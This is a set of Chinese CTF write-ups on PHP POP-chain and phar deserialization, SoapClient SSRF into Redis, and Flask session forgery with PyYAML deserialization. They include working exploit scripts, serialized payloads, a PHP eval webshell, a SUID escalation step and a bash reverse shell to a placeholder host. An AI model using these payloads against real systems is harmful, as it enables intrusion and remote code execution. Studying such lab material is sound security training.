EasyPOP
就简单的php反序列化
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
| <?php highlight_file(__FILE__); error_reporting(0);
class fine { private $cmd; private $content;
public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; }
public function __invoke() { call_user_func($this->cmd, $this->content); }
public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); } }
class show { public $ctf; public $time = "Two and a half years";
public function __construct($ctf) { $this->ctf = $ctf; }
public function __toString() { return $this->ctf->show(); }
public function show(): string { return $this->ctf . ": Duration of practice: " . $this->time; }
}
class sorry { private $name; private $password; public $hint = "hint is depend on you"; public $key;
public function __construct($name, $password) { $this->name = $name; $this->password = $password; }
public function __sleep() { $this->hint = new secret_code(); }
public function __get($name) { $name = $this->key; $name(); }
public function __destruct() { if ($this->password == $this->name) {
echo $this->hint; } else if ($this->name = "jay") { secret_code::secret(); } else { echo "This is our code"; } }
public function getPassword() { return $this->password; }
public function setPassword($password): void { $this->password = $password; }
}
class secret_code { protected $code;
public static function secret() { include_once "hint.php"; hint(); }
public function __call($name, $arguments) { $num = $name; $this->$num(); }
private function show() { return $this->code->secret; } }
if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); $a->setPassword(md5(mt_rand())); } else { $a = new show("Ctfer"); echo $a->show(); }
|
pop链是这样的
1
| sorry::__destruct()->show::__toString()->secret_code::show()->sorry::__get()->fine::__invoke()
|
其中有个关键点就是必须要$this->password == $this->name
才会执行到echo $this->hint
从而触发show::__toString()
这里有两个方法,一个是利用弱类型比较,把$this->name设置为0,如果md5(mt_rand())得到的字符串为0开头的,就有可能成功
第二个是使用引用来绑定这两个的值,使他们一直相等
而且php7对属性修饰符不敏感,所以都调成public就行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php class sorry { public $name; public $password; public $key; public $hint; }
class show { public $ctf;
} class secret_code { public $code; }
class fine { public $cmd; public $content; public function __construct() { $this->cmd = 'system'; $this->content = ' /'; } }
$a=new sorry(); $b=new show(); $c=new secret_code(); $d=new fine(); $a->hint=$b; $b->ctf=$c; $e=new sorry(); $e->hint=$d; $c->code=$e; $e->key=$d; echo (serialize($a));
|
绕过wakeup也有两种方法,一个是修改成员数量,一个是使用fast destruct
修改成员数量:
1
| ?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}s:4:"hint";r:10;}}}}
|
fast destruct:
1
| ?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}s:4:"hint";r:10;}}}
|
hade_waibo
0x00
0x01 源码分析
在search那里可以读取任意文件
这里只看关键的
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <?php class User { public $username; public function __construct($username){ $this->username = $username; $_SESSION['isLogin'] = True; $_SESSION['username'] = $username; } public function __wakeup(){ $cklen = strlen($_SESSION["username"]); if ($cklen != 0 and $cklen <= 6) { $this->username = $_SESSION["username"]; } } public function __destruct(){ if ($this->username == '') { session_destroy(); } } }
class File { public $white = array("jpg","png");
public function show($filename){ echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>'; if(empty($filename)){die();} return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />'; } public function upload($type){ $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type"; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); return "Upload success! Path: upload/" . $filename; } public function rmfile(){ system('rm -rf /var/www/html/upload/*'); } public function check($type){ if (!in_array($type,$this->white)){ return false; } return true; }
}
class Test { public $value;
public function __destruct(){ chdir('./upload'); $this->backdoor(); } public function __wakeup(){ $this->value = "Don't make dream.Wake up plz!"; } public function __toString(){ $file = substr($_GET['file'],0,3); file_put_contents($file, "Hack by $file !"); return 'Unreachable! :)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){ $this->value = 'nono~'; } system($this->value); }
}
|
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <!DOCTYPE html> <html lang="en" class="no-js"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>login</title> <link rel="stylesheet" type="text/css" href="css/button.css" /> <link rel="stylesheet" type="text/css" href="css/button.min.css" /> <link rel="stylesheet" type="text/css" href="css/input.css" /> <style> body{ text-align:center; margin-left:auto; margin-right:auto; margin-top:300px; }
</style> </head> <body>
<?php error_reporting(0); session_start(); include 'class.php';
if(isset($_POST['username']) && $_POST['username']!=''){ $user = new User($_POST['username']); }
if($_SESSION['isLogin']){ die("<script>alert('Login success!');location.href='file.php'</script>"); }else{ die(' <form action="index.php" method="post"> <div class="ui input"> <input type="text" name="username" placeholder="Give me uname" maxlength="6"> </div> <form>'); }
|
从class.php里可以知道,这里会上传文件,且在show那里会使用file_get_contents
来读取文件,而phar反序列化更好可以被这个函数触发
在User::__destruct()
里有个$this->username == ''
如果$this->username
为Test对象,那么就刚好可以触发Test::__toString()
而Test::__toString()
可以创建文件
在进入Test::__destruct()
后会进入他的backdoor()
里面会可以执行system函数,但是会有过滤
如果要执行命令的话,就可以先创建一个cat
文件,然后在backdoor()
执行system('* /*')
,然后就会执行cat /*
linux
中*
可作为通配符使用,在输入*
后,linux
会将该目录下第一个文件名作为命令,剩下的的文件名当作参数
同时由于上传的文件名是以d开头的,所以就只会将cat
作为命令执行,daxxx和/*
作为参数
0x02 题解
上传phar文件并创建cat文件
先要绕过Test::__wakeup()
里的
1 2 3
| if ($cklen != 0 and $cklen <= 6) { $this->username = $_SESSION["username"]; }
|
因为$_SESSION["username"]
的长度限制是在前端做的,所以可以直接修改,让$_SESSION["username"]
的长度大于6,从而不进入if分支
这样将$username的值设置为Test对象后才不会在反序列化的时候被修改
创建一个phar文件并修改后缀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class User { public $username;
} class Test { public $value;
} $a=new User(); $b=new Test(); $a->username=$b; @unlink("phar.phar"); $phar=new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $phar->setMetadata($a); $phar->addFromString("1.txt","123123>");
$phar->stopBuffering(); @unlink('./phar.jpg'); rename("./phar.phar","./phar.jpg");
|
上传上去,然后再在show那里添加file参数为cat
创建一个cat文件
1
| /file.php?m=show&filename=phar://upload/dasctffa48d695743dc8e8cc2523c7c4b7e23d.jpg&file=cat
|
进入backdoor执行命令
然后就是进入backdoor执行system('* /*')
本地测试后发现
__wakeup
拥有这个的类的对象在反序列化时,会先执行对象的成员属性的值的__wakeup
再执行此对象的__wakeup
即先执行内层再执行外层
所以如果按照上面的pop来反序列化的话,pop的执行顺序就是
1
| TEST:wakeup USER::WAKEUP user::destruct Test::tostring Test::destruct backdoor
|
所以我们需要让Test对象value的值保持为* /*
因为User::__wakeup()
里$username的值可以被赋值为$_SESSION["username"]
的值,而这个值是我们可控的
然后再将User::$username
的值和Test::value
的值使用引用关联起来,这样两个的值就会一直相同,同时还需要将Test对象设置为User对象的成员,这样Test才会进行反序列化
新建立一个phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class User { public $username;
} class Test { public $value;
} $a=new User(); $b=new Test(); $a->username=&$b->value; @unlink("phar.phar"); $phar=new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $phar->setMetadata($a); $phar->addFromString("1.txt","123123>");
$phar->stopBuffering(); @unlink('./phar.jpg'); rename("./phar.phar","./phar.jpg");
|
然后上传
退出当前用户,重新创建一个用户名为* /*
的用户,再次使用phar协议读取刚才上传的phar文件,就可以执行命令cat /*
从而读取根目录的所有文件,得到flag
0x03
还有的时候是上传一个sh脚本文件
然后使用../*
来执行脚本文件,从而获得flag
DASCTF X GFCTF 2022十月挑战赛-hade_waibo
EasyLove
0x00
- ssrf攻击redis写shell
- php原生类SoapClient
0x01 源码分析
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php highlight_file(__FILE__); error_reporting(0); class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love; public function __construct($wllm,$arsenetang,$l61q4cheng,$love){ $this->wllm = $wllm; $this->arsenetang = $arsenetang; $this->l61q4cheng = $l61q4cheng; $this->love = $love; } public function newnewnew(){ $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); }
public function flag(){ $this->love->getflag(); } public function __destruct(){ $this->newnewnew(); $this->flag(); } } class hint{ public $hint; public function __destruct(){ echo file_get_contents($this-> hint.'hint.php'); } } $hello = $_GET['hello']; $world = unserialize($hello);
|
先构造一个序列化对象获得hint.php的内容,不知道为什么我读不出来。。。直接看的wp
内容是
1 2 3
| <?php $hint = "My favorite database is Redis and My favorite day is 20220311"; ?>
|
很明显是要打redis,而且密码为20220311
题目源码中没有直接给可以进行ssrf的代码,但是有这一段代码
1 2 3 4 5 6 7 8 9 10 11 12
| public function newnewnew(){ $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); }
public function flag(){ $this->love->getflag(); }
public function __destruct(){ $this->newnewnew(); $this->flag(); }
|
很明显,最终会调用一个类型的__call()
魔术方法,而原生类SoapClient
的__cal()
刚好可以发送http和https请求,而低版本的redis会将http请求头的内容作为redis命令解析Trying to hack Redis via HTTP requests
同时SoapClient的user_agent
参数存在CRLF用来伪造http请求头,也就是可以来设置为redis命令,来写入shell
0x02 题解
先用gopherus生成一段gopher协议的字符串,然后再进行修改,因为题目的redis是有密码的,所以要在前面加上
完整的redis命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| *2 $4 AUTH $8 20220311 *1 $8 flushall *3 $3 set $1 1 $28
<?php eval($_POST[1]);?>
*4 $6 config $3 set $3 dir $13 /var/www/html *4 $6 config $3 set $10 dbfilename $9 shell.php *1 $4 save
|
因为在linux里的换行是\r\n
,所以要进行一些替换
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love; public function __construct($wllm,$arsenetang,$l61q4cheng){ $this->wllm = $wllm; $this->arsenetang = $arsenetang; $this->l61q4cheng = $l61q4cheng; } } $target='http://127.0.0.1:6379'; $ua = array( 'X-Forwarded-For: 127.0.0.1', "*2\r\n$4\r\nAUTH\r\n$8\r\n20220311\r\n*1\r\n$8\r\nflushall\r\n*3\r\n$3\r\nset\r\n$1\r\n1\r\n$28\r\n\r\n\r\n<?php eval(\$_POST[1]);?>\r\n\r\n\r\n*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n*1\r\n$4\r\nsave" ); $options = array( 'location' => $target, 'user_agent' => join("\r\n",$ua), 'uri'=>'v2ish1yan' ); $a=new swpu('SoapClient',null,$options); echo urlencode(serialize($a));
|
payload
1
| ?hello=O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A3%3A%7Bs%3A8%3A%22location%22%3Bs%3A21%3A%22http%3A%2F%2F127.0.0.1%3A6379%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A256%3A%22X-Forwarded-For%3A+127.0.0.1%0D%0A%2A2%0D%0A%244%0D%0AAUTH%0D%0A%248%0D%0A20220311%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0D%0A%0D%0A%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%0D%0A%0D%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A%2Fvar%2Fwww%2Fhtml%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%22%3Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22v2ish1yan%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D
|
然后就可以访问shell.php得到shell
连接蚁剑,发现权限不够,使用suid提权
1
| find / -perm -u=s -type f 2>/dev/null
|
这个命令我是在shell.php上执行的,蚁剑不知道为什么没有回显
然后发现存在/bin/date
在这个网站可以查找如何使用一些命令进行提权GTFOBins
然后使用命令
来得到flag
0x03 参考链接
BlogSystem
0x00
0x01 源码分析
注册的时候,发现admin注册不了,所以应该是存在这个文件的
然后在flask 基础总结
这个文章里面泄露的secret_key:7his_1s_my_fav0rite_ke7
然后使用flask_session_cookie_manager
伪造session,变成admin账户
1 2 3
| ┌──(kali㉿kali)-[~/Desktop/tools/flask-session-cookie-manager] └─$ python flask_session_cookie_manager3.py encode -s '7his_1s_my_fav0rite_ke7' -t '{"_permanent": True,"username": "admin"}' eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn0.Y_28hA.zN9b-WbrtUeQzPEjVUh1FEy0z_A
|
然后会发现多了一个Download路由
依次查看源码
/app/app.py
/app/view/__init__.py
/app/model/model.py
/app/view/index.py
/app/view/blog.py
/app/decorators.py
关键的代码
/app/decorators.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from functools import wraps from flask import session, url_for, redirect, render_template
def login_limit(func): @wraps(func) def wrapper(*args, **kwargs): if session.get('username'): return func(*args, **kwargs) else: return redirect(url_for('/login'))
return wrapper
def admin_limit(func): @wraps(func) def admin(*args, **kwargs): if session.get('username') == 'admin': return func(*args, **kwargs) else: return render_template('403.html')
return admin
|
/app/view/blog.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169
| import os import random import re import time
import yaml from flask import Blueprint, render_template, request, session from yaml import Loader
from decorators import login_limit, admin_limit from model import *
blog = Blueprint("blog", __name__, url_prefix="/blog")
def waf(data): if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I): return False else: return True
@blog.route('/writeBlog', methods=['POST', 'GET']) @login_limit def writeblog(): if request.method == 'GET': return render_template('writeBlog.html') if request.method == 'POST': title = request.form.get("title") text = request.form.get("text") username = session.get('username') create_time = time.strftime("%Y-%m-%d %H:%M:%S") user = User.query.filter(User.username == username).first() blog = Blog(title=title, text=text, create_time=create_time, user_id=user.id) db.session.add(blog) db.session.commit() blog = Blog.query.filter(Blog.create_time == create_time).first() return render_template('blogSuccess.html', title=title, id=blog.id)
@blog.route('/imgUpload', methods=['POST']) @login_limit def imgUpload(): try: file = request.files.get('editormd-image-file') fileName = file.filename.replace('..','') filePath = os.path.join("static/upload/", fileName) file.save(filePath) return { 'success': 1, 'message': '上传成功!', 'url': "/" + filePath } except Exception as e: return { 'success': 0, 'message': '上传失败' }
@blog.route('/showBlog/<id>') def showBlog(id): blog = Blog.query.filter(Blog.id == id).first() comment = Comment.query.filter(Comment.blog_id == blog.id) return render_template("showBlog.html", blog=blog, comment=comment)
@blog.route("/blogAll") def blogAll(): blogList = Blog.query.order_by(Blog.create_time.desc()).all() return render_template('blogAll.html', blogList=blogList)
@blog.route("/update/<id>", methods=['POST', 'GET']) @login_limit def update(id): if request.method == 'GET': blog = Blog.query.filter(Blog.id == id).first() return render_template('updateBlog.html', blog=blog) if request.method == 'POST': id = request.form.get("id") title = request.form.get("title") text = request.form.get("text") blog = Blog.query.filter(Blog.id == id).first() blog.title = title blog.text = text db.session.commit() return render_template('blogSuccess.html', title=title, id=id)
@blog.route("/delete/<id>") @login_limit def delete(id): blog = Blog.query.filter(Blog.id == id).first() db.session.delete(blog) db.session.commit() return { 'state': True, 'msg': "删除成功!" }
@blog.route("/myBlog") @login_limit def myBlog(): username = session.get('username') user = User.query.filter(User.username == username).first() blogList = Blog.query.filter(Blog.user_id == user.id).order_by(Blog.create_time.desc()).all() return render_template("myBlog.html", blogList=blogList)
@blog.route("/comment", methods=['POST']) @login_limit def comment(): text = request.values.get('text') blogId = request.values.get('blogId') username = session.get('username') create_time = time.strftime("%Y-%m-%d %H:%M:%S") user = User.query.filter(User.username == username).first() comment = Comment(text=text, create_time=create_time, blog_id=blogId, user_id=user.id) db.session.add(comment) db.session.commit() return { 'success': True, 'message': '评论成功!', }
@blog.route('/myComment') @login_limit def myComment(): username = session.get('username') user = User.query.filter(User.username == username).first() commentList = Comment.query.filter(Comment.user_id == user.id).order_by(Comment.create_time.desc()).all() return render_template("myComment.html", commentList=commentList)
@blog.route('/deleteCom/<id>') def deleteCom(id): com = Comment.query.filter(Comment.id == id).first() db.session.delete(com) db.session.commit() return { 'state': True, 'msg': "删除成功!" }
@blog.route('/saying', methods=['GET']) @admin_limit def Saying(): if request.args.get('path'): file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack') try: with open(file, 'rb') as f: f = f.read() if waf(f): print(yaml.load(f, Loader=Loader)) return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧') else: return render_template('sayings.html', yaml='鲁迅说:你说得不对') except Exception as e: return render_template('sayings.html', yaml='鲁迅说:'+str(e)) else:
with open('view/jojo.yaml', 'r', encoding='utf-8') as f: sayings = yaml.load(f, Loader=Loader) saying = random.choice(sayings) return render_template('sayings.html', yaml=saying)
|
这里可以看到,在/blog/imgUpload
路由可以上传文件,需要admin用户
在/blog/saying
路由存在读取文件内容进行yaml.load()
,明显的yaml反序列,而且上面有个waf()
,过滤的不是很多
1 2 3 4 5
| def waf(data): if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I): return False else: return True
|
因为可以上传文件,所以可以反序列化下面的yaml,来加载上传的文件,从而执行上传的py文件的命令
1
| !!python/module:static.upload.exp
|
0x02 题解
先建一个提交表单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://76b4f730-c4f3-4e2f-8b3f-2bf3af5f811a.node4.buuoj.cn:81/blog/imgUpload" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="editormd-image-file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
|
然后抓包,修改文件名和内容
先上传一个exp.py
,来反弹shell
1 2
| import os os.popen("bash -c 'bash -i &> /dev/tcp/vps/9999 0>&1'").read()
|
然后再上传一个yaml格式的文件
这里是因为他是上传到/static/upload/
目录,所以要使用多级导包
1
| !!python/module:static.upload.exp
|
然后在/blog/saying
路由进行yaml反序列化
1
| /blog/saying?path=upload/static/1.yaml
|
获得shell
0x03 参考链接